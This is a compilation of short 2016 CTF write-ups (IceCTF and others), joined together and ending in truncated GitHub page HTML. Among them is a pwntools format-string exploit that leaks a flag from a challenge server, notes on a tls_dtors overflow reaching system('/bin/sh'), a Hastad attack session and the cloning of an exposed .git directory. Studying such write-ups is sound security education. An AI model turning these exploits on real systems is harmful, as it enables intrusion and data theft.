>>> n1 = 79608037716527910392060670707842954224114341083822168077002144855358998405023007345791355970838437273653492726857398313047195654933011803740498167538754807659255275632647165202835846338059572102420992692073303341392512490988413552501419357400503232190597741120726276250753866130679586474440949586692852365179<span>>>> c1 = 34217065803425349356447652842993191079705593197469002356250751196039765990549766822180265723173964726087016890980051189787233837925650902081362222218365748633591895514369317316450142279676583079298758397507023942377316646300547978234729578678310028626408502085957725408232168284955403531891866121828640919987</span>>>> n2 = 58002222048141232855465758799795991260844167004589249261667816662245991955274977287082142794911572989261856156040536668553365838145271642812811609687362700843661481653274617983708937827484947856793885821586285570844274545385852401777678956217807768608457322329935290042362221502367207511491516411517438589637<span>>>> c2 = 48038542572368143315928949857213341349144690234757944150458420344577988496364306227393161112939226347074838727793761695978722074486902525121712796142366962172291716190060386128524977245133260307337691820789978610313893799675837391244062170879810270336080741790927340336486568319993335039457684586195656124176</span>>>> n3 = 95136786745520478217269528603148282473715660891325372806774750455600642337159386952455144391867750492077191823630711097423473530235172124790951314315271310542765846789908387211336846556241994561268538528319743374290789112373774893547676601690882211706889553455962720218486395519200617695951617114702861810811<span>>>> c3 = 55139001168534905791033093049281485849516290567638780139733282880064346293967470884523842813679361232423330290836063248352131025995684341143337417237119663347561882637003640064860966432102780676449991773140407055863369179692136108534952624411669691799286623699981636439331427079183234388844722074263884842748</span>>>> ca.hastad_broadcast_attack([(c1,n1),(c2,n2),(c3,n3)], 3)'58550078985315678944329418134715344644799881478960463977135976415903819209146045651908121071341135097659153789821'>>> ca.long_to_string(58550078985315678944329418134715344644799881478960463977135976415903819209146045651908121071341135097659153789821)'abctf{ch!n3s3_rema1nd3r_the0rem_is_to0_op_4_m3}'</span> |
# IceCTF 2016 – Round Rabins!
## Problem
John gave up on RSA and moved to Rabin. ...he still did it wrong though flag.txt. What a box!
## Solution
This problem uses the [Rabin cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem), but has some implementation flaws.
First, enter the values provided in flag.txt. You can enter base 16 literals into Mathematica as `16^^464C4147`.
```mathematican = 16^^6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9\fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018\ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd\60153abc5c5852f437d748d91935d20626e18cbffa24459d786601;
c = 16^^d9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b\9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6\e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13f\eb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b;```
Note that *p* and *q* are actually the same, which makes this challenge very easy.
```mathematicaFactorInteger[n]```
```{{8683574289808398551680690596312519188712344019929990563696863014403818356652403139359303583094623893591695801854572600022831462919735839793929311522108161, 2}}```
```mathematicap = q = Sqrt[n];```
Because *p* and *q* are the same, we can just take the square root of *c* with a modulus of *n*. `PowerMod[]` can be used to take a modular root by providing a rational exponent.
```mathematicam = PowerMod[c, 1/2, n]```
```1650837364105066647631553257917166784887536976618652603404055059848204\6342664905996230383084538167023824865582697144027817783294645253096476\527422927208975717661053```
Convert the large integer to bytes by using `IntegerDigits[]` with a base of 256, then convert the bytes into ASCII characters with `FromCharacterCode[]`.
```mathematicaFromCharacterCode[IntegerDigits[m, 256]]```
```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}``` |
dear_diary==========
**Solved by:** [int10h](https://github.com/brianmwaters) and [mut3](https://github.com/mut3)
> We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents. `nc diary.vuln.icec.tf 6501`
The binary has a pretty straightforward menu-based interface that lets you create objects and print them. We might be looking for a heap-based vulnerability here:
```brian@katahdin:dear_diary$ ./dear_diary-- Diary 3000 --
1. add entry2. print latest entry3. quit> 1Tell me all your secrets: ok!
1. add entry2. print latest entry3. quit> 2ok!
1. add entry2. print latest entry3. quit> 3brian@katahdin:dear_diary$```
However, the binary doesn't like it if if any of our "entries" contain `n`'s:
```brian@katahdin:dear_diary$ ./dear_diary-- Diary 3000 --
1. add entry2. print latest entry3. quit> 1Tell me all your secrets: no way!rude!brian@katahdin:dear_diary$```
The object allocation turned out to be stack-based, not heap-based, so no use after free here. I spent waaay too much time looking for some kind of overflow, but everything was buttoned up tight. Then I found it, staring me in the face, and it wasn't an overflow:

In case you can't read that, `printf` is being called with a single, user-controlled argument. This explains why the binary exits if any of our secrets contain the letter `n` - it's sanitizing the input against the `printf` `%n` specifier that can lead to arbitrary code execution!
That's okay though, because we don't need the `%n` specifier here anyway. The binary reads `flag.txt` into memory on startup and stores it somewhere in the data segment. The secrets are stored in `main`'s stack frame. We used two secrets - one containing the address of the flag (there was no PIE so this was known); the other containing a format string payload. The vulnerable `printf` call happens in a stack frame directly below `main` (which is where we stored the address of the flag), so we can get `printf` to read past all the crap we don't care about by making the payload a bunch of `%x`'s followed by a `%s` (the `%s` will read out the actual flag). I don't think we even used the debugger to find the right number of `%x`'s; we just kept adding more 'til it worked:
```#!/usr/bin/env python2
from pwn import *remote_host='diary.vuln.icec.tf'remote_port=6501context(arch='i386',os='linux')
def pwn(): print "Beginning pwn!" address = p32(0x0804a0a0) # literally leave the memory address '0804a0a0' payload = "%x"*17+"%s" # clear 17 4-byte words and then the string at the 4byte pointer child.recvuntil('>') # wait for prompt child.sendline('1') # choose new entry child.sendline(address) child.recvuntil('>') child.sendline('1') child.sendline(payload) child.recvuntil('>') child.sendline('2') print(child.recv())
child = remote(remote_host,remote_port)pwn()child.interactive()``` |
## Thor's a hacker now, misc, 55 points
__Description__:
Thor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? [`thor.txt`](thor.txt)
__Solver__: [mut3](https://github.com/mut3)
This challenge gave a text file containing a hex dump. `xxd -r` reverses hex dumps into binary files.
```# xxd -r thor.txt thor# file thorthor: lzip compressed data, version: 1```
Lzip? the hexdump was of some obscure compression scheme.
```# lzip -d thor# file thor.outthor.out: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.8.18], progressive, precision 8, 1600x680, frames 3```
Of a JPEG.
```mv thor.out thor.jpg```
Containing the flag

#### Bonus Story about mut3 being stupid:I actually got super stuck on this challenge because there's a gemfile utility tool named thor installed on my system, and thought this was a pwn hidden in a misc challenge for a bit. |
Exposed - Web - 60 points
If you scan the site you see they have a .git structure included. Clone the git with "git clone http://exposed.vuln.icec.tf/.git/ "
From there you can see in flag.php that there was a file called flag.txt
Open the commit history for example with gitk
One of the flag.php files includes the flag.
Flag : IceCTF{secure_y0ur_g1t_repos_pe0ple}
|
It’s an animated gif that’s just 2 pixels wide. It looks like what you might see through a narrow gap in a train door, as the problem text implies. We should reconstruct the scene outside the train by separating out the frames of the animation and assembling them side-by-side. See link for script: http://www.johnfren.ch/Tokyo-Westerns/#glance |
<span>using negative values in message length provide us buffer overflow. due to task approach on protecting ret addrs,we can use tls_dtors_list to achieve code execution and run system("/bin/sh");cookie is our problem so we need leaking it.leaking libc addr can be done by overwriting message function args (break *0x0804890f)for overwriting tls_dtors i need +1 step, this can be achieved by overwriting max steps(3) on stack with (0x4)finally we overwrite tls_dtor with address of [system_addr, bin_sh_addr] which i used tls_dtor+0x10, stack addr cannot be used to reliable exploitation
</span> |
<span>we dont care about 0x0804858d algs. we just know it uses srand+rand to set a one byte base case. so we can use gdb to create and dump 0x100 table :)and then try all the cases to obtain flag</span> |
# IceCTF 2016 – Audio Problems
## Problem
>We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything?
## Solution
```mathematicasound = Import["https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav"]```
The flag is immediately visible in the spectrogram.
```mathematicaSpectrogram[sound]```

If desired, we could create an image of that portion of the spectrogram.
```mathematicaarr = Transpose@Abs@SpectrogramArray[sound, 3000, 100, BartlettWindow];img = ImageResize[ColorNegate@Image[arr[[2900 ;; 2983, ;; 5000]]], {1000, 100}]```
 |
# Can you repo it? (5 pts)
This is just a recon challenge. Searching for "git" in the illintentions.apk, I found:
```res/values/strings.xml: <string name="git_user">l33tdev42</string>```
Going to the github: https://github.com/l33tdev42/
We can see the only app there, and we can see the [latest commit](https://github.com/l33tdev42/testApp/commit/5b315cbbfaa2da9502ffae73f283d36d89f92194) containing the flag:
```- keyPassword = "ctf{TheHairCutTookALoadOffMyMind}"``` |
[](ctf=mma-ctf-2016)[](type=exploit)[](tags=format string)[](tools=libformatstr)[](techniques=format string)
# greeting (pwn-150)
[Binary](../greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c)
[Solution](greeting.py)[](https://asciinema.org/a/0e7jitfip9k5n7ir4bbw0xp0d) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfx-problems-2016/crypto/lambda-50 at master · ctf-x/ctfx-problems-2016 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="C807:76EE:1CE81CBB:1DC62BFF:64122909" data-pjax-transient="true"/><meta name="html-safe-nonce" content="0895d0285adbebbcd3d63fd0f593e47fbd585bdb8b97492a1636c132c3257600" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDODA3Ojc2RUU6MUNFODFDQkI6MURDNjJCRkY6NjQxMjI5MDkiLCJ2aXNpdG9yX2lkIjoiNDI3MTYyODk5OTQ0MzIyODkzNyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="02d7d6587ab79089801263cebb81948f292e327b85495edbc1a1c8e87ba4d0aa" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:62685294" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/lambda-50 at master · ctf-x/ctfx-problems-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfx-problems-2016/crypto/lambda-50 at master · ctf-x/ctfx-problems-2016" /><meta name="twitter:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/lambda-50 at master · ctf-x/ctfx-problems-2016" /> <meta property="og:image" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta property="og:image:alt" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/lambda-50 at master · ctf-x/ctfx-problems-2016" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfx-problems-2016/crypto/lambda-50 at master · ctf-x/ctfx-problems-2016" /><meta property="og:url" content="https://github.com/ctf-x/ctfx-problems-2016" /><meta property="og:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/lambda-50 at master · ctf-x/ctfx-problems-2016" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/ctf-x/ctfx-problems-2016 git https://github.com/ctf-x/ctfx-problems-2016.git">
<meta name="octolytics-dimension-user_id" content="20324072" /><meta name="octolytics-dimension-user_login" content="ctf-x" /><meta name="octolytics-dimension-repository_id" content="62685294" /><meta name="octolytics-dimension-repository_nwo" content="ctf-x/ctfx-problems-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="62685294" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctf-x/ctfx-problems-2016" />
<link rel="canonical" href="https://github.com/ctf-x/ctfx-problems-2016/tree/master/crypto/lambda-50" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
